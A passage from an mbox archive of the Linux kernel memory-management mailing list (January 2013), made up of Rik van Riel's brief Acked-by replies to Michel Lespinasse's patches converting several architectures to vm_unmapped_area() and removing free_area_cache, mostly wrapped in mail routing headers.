X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx120.postini.com [74.125.245.120])
	by kanga.kvack.org (Postfix) with SMTP id 4B8B16B005A
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 13:25:45 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx120.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 18:25:45 GMT
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09IPdKl021200
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 13:25:39 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r09IPbVF020812;
	Wed, 9 Jan 2013 13:25:37 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-4-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93096 gmane.linux.kernel:1419188 gmane.linux.ports.ppc64.devel:86915 gmane.linux.ports.parisc:4722 gmane.linux.ports.alpha:1995 gmane.linux.ports.ia64:22890
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93096>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> Update the frv arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 4/8] mm: use vm_unmapped_area() on ia64 architecture
Date: Wed, 09 Jan 2013 13:29:47 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <50EDB71B.4090201@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-5-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357756193 20242 80.91.229.3 (9 Jan 2013 18:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 18:29:53 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 19:30:06 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tt0Pc-0002zM-OJ
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 19:30:05 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 283626B005D; Wed,  9 Jan 2013 13:29:48 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 16BD36B0070; Wed,  9 Jan 2013 13:29:48 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D18176B0071; Wed,  9 Jan 2013 13:29:47 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx193.postini.com [74.125.245.193])
	by kanga.kvack.org (Postfix) with SMTP id 078B46B005D
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 13:29:46 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx193.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 18:29:47 GMT
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09ITgJv010461
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 13:29:42 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r09ITe9j011682;
	Wed, 9 Jan 2013 13:29:40 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-5-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93097 gmane.linux.kernel:1419189 gmane.linux.ports.ppc64.devel:86916 gmane.linux.ports.parisc:4723 gmane.linux.ports.alpha:1996 gmane.linux.ports.ia64:22891
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93097>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> Update the ia64 arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 5/8] mm: use vm_unmapped_area() in hugetlbfs on ia64 architecture
Date: Wed, 09 Jan 2013 13:32:57 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <50EDB7D9.8000403@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-6-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357756387 22015 80.91.229.3 (9 Jan 2013 18:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 18:33:07 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 19:33:22 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tt0Sm-0006Hy-GC
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 19:33:20 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D96E06B005D; Wed,  9 Jan 2013 13:33:03 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id C8B186B0070; Wed,  9 Jan 2013 13:33:03 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8D6416B0071; Wed,  9 Jan 2013 13:33:03 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx130.postini.com [74.125.245.130])
	by kanga.kvack.org (Postfix) with SMTP id E73296B005D
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 13:33:02 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx130.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 12:33:02 CST
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09IWp1V006527
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 13:32:51 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r09IWnxJ031831;
	Wed, 9 Jan 2013 13:32:50 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-6-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93098 gmane.linux.kernel:1419190 gmane.linux.ports.ppc64.devel:86917 gmane.linux.ports.parisc:4724 gmane.linux.ports.alpha:1997 gmane.linux.ports.ia64:22892
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93098>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> Update the ia64 hugetlb_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 6/8] mm: remove free_area_cache use in powerpc architecture
Date: Wed, 09 Jan 2013 15:57:09 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <50EDD9A5.8060404@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-7-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357765045 9451 80.91.229.3 (9 Jan 2013 20:57:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 20:57:25 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 21:57:38 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tt2iK-0000WG-G5
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 21:57:32 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 524626B005D; Wed,  9 Jan 2013 15:57:13 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 3992C6B0071; Wed,  9 Jan 2013 15:57:13 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E00AF6B005D; Wed,  9 Jan 2013 15:57:12 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx175.postini.com [74.125.245.175])
	by kanga.kvack.org (Postfix) with SMTP id A6F0D6B006C
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 15:57:10 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx175.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 12:57:10 PST
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09Kv5qY016516
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 15:57:05 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r09Kv29m016506;
	Wed, 9 Jan 2013 15:57:02 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-7-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93109 gmane.linux.kernel:1419368 gmane.linux.ports.ppc64.devel:86918 gmane.linux.ports.parisc:4725 gmane.linux.ports.alpha:1998 gmane.linux.ports.ia64:22894
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93109>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> As all other architectures have been converted to use vm_unmapped_area(),
> we are about to retire the free_area_cache.
>
> This change simply removes the use of that cache in
> slice_get_unmapped_area(), which will most certainly have a
> performance cost. Next one will convert that function to use the
> vm_unmapped_area() infrastructure and regain the performance.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Wed, 09 Jan 2013 16:24:25 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <50EDE009.9030001@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-8-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357766670 25409 80.91.229.3 (9 Jan 2013 21:24:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 21:24:30 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 22:24:45 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tt38e-0001tW-7v
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 22:24:44 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 920076B005D; Wed,  9 Jan 2013 16:24:27 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 711106B006C; Wed,  9 Jan 2013 16:24:27 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1E6FF6B0071; Wed,  9 Jan 2013 16:24:26 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx166.postini.com [74.125.245.166])
	by kanga.kvack.org (Postfix) with SMTP id 364076B005D
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 16:24:26 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx166.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 21:24:26 GMT
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09LOKLX013548
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 16:24:20 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r09LOIQd012425;
	Wed, 9 Jan 2013 16:24:19 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-8-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93111 gmane.linux.kernel:1419447 gmane.linux.ports.ppc64.devel:86919 gmane.linux.ports.parisc:4726 gmane.linux.ports.alpha:1999 gmane.linux.ports.ia64:22896
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93111>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> Update the powerpc slice_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 8/8] mm: remove free_area_cache
Date: Wed, 09 Jan 2013 16:25:21 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <50EDE041.1050908@redhat.com>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-9-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357766731 26020 80.91.229.3 (9 Jan 2013 21:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 21:25:31 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 22:25:47 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Tt39e-0002t3-K5
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 22:25:46 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 3DB8E6B005D; Wed,  9 Jan 2013 16:25:30 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 112C96B006C; Wed,  9 Jan 2013 16:25:29 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 4D9D36B0071; Wed,  9 Jan 2013 16:25:29 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx120.postini.com [74.125.245.120])
	by kanga.kvack.org (Postfix) with SMTP id 542A16B005D
	for <linux-mm@kvack.org>; Wed,  9 Jan 2013 16:25:28 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx120.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 21:25:28 GMT
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r09LPGWO010280
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 Jan 2013 16:25:20 -0500
Original-Received: from cuia.bos.redhat.com (cuia.bos.redhat.com [10.16.184.35])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r09LPEHC030169;
	Wed, 9 Jan 2013 16:25:14 -0500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <1357694895-520-9-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <riel@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93112 gmane.linux.kernel:1419450 gmane.linux.ports.ppc64.devel:86920 gmane.linux.ports.parisc:4727 gmane.linux.ports.alpha:2000 gmane.linux.ports.ia64:22897
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93112>

On 01/08/2013 08:28 PM, Michel Lespinasse wrote:
> Since all architectures have been converted to use vm_unmapped_area(),
> there is no remaining use for the free_area_cache.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

Yay

Acked-by: Rik van Riel <riel@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rik van Riel <riel@redhat.com>
